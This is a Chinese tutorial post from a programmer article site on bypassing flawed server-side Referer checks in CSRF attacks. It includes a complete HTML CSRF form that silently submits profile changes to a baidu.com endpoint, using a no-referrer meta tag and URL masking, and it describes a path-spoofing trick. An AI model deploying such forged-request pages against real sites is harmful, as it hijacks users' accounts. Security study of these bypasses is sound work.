欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

CSRF绕过后端Referer校验

程序员文章站 2022-07-02 13:10:37
CSRF绕过后端Referer校验分正常情况和不正常的情况,我们这里主要讨论开发在写校验referer程序时,不正常的情况下怎么进行绕过。 正常情况 正常的情况指服务器端校验Referer的代码没毛病,那么意味着前端是无法绕过的。 我之前考虑过的方案: JS修改Referer,失败; 请求恶意网页后 ......

csrf绕过后端referer校验分正常情况和不正常的情况,我们这里主要讨论开发在写校验referer程序时,不正常的情况下怎么进行绕过。

正常情况

正常的情况指服务器端校验referer的代码没毛病,那么意味着前端是无法绕过的。

我之前考虑过的方案:

  • js修改referer,失败;
  • 请求恶意网页后,后端重新送包,问题是你怎么跨域拿cookie,失败;


不正常的情况

不正常的情况指服务器端校验referer的代码有漏洞,前端才能做到绕过,下面介绍几个可能会绕过referer的案例;

添加无referer标签

可以尝试无referer标签,万一逻辑刚好没判断无referer的情况呢;

<meta name="referrer" content="never">

<html>
  <meta name="referrer" content="never">
  <body>
  <script>history.pushstate('', '', '/')</script>  <!-- 实现浏览器页面不刷新修改url链接 -->
    <form action="http://www.baidu.com/setprofile" method="post">
      <input type="hidden" name="nickname" value="new22" />
      <input type="hidden" name="email" value="1&#64;1&#46;com" />
      <input type="hidden" name="team" value="new22" />
      <input type="hidden" name="address" value="new33" />
      <input type="submit" value="submit request" />
    </form>
  </body>
</html>

自建服务器路径带referer字段名

原理就是在路径上创建成原本referer中有的字段名,如果校验只是判断是否包含,那就666了;

CSRF绕过后端Referer校验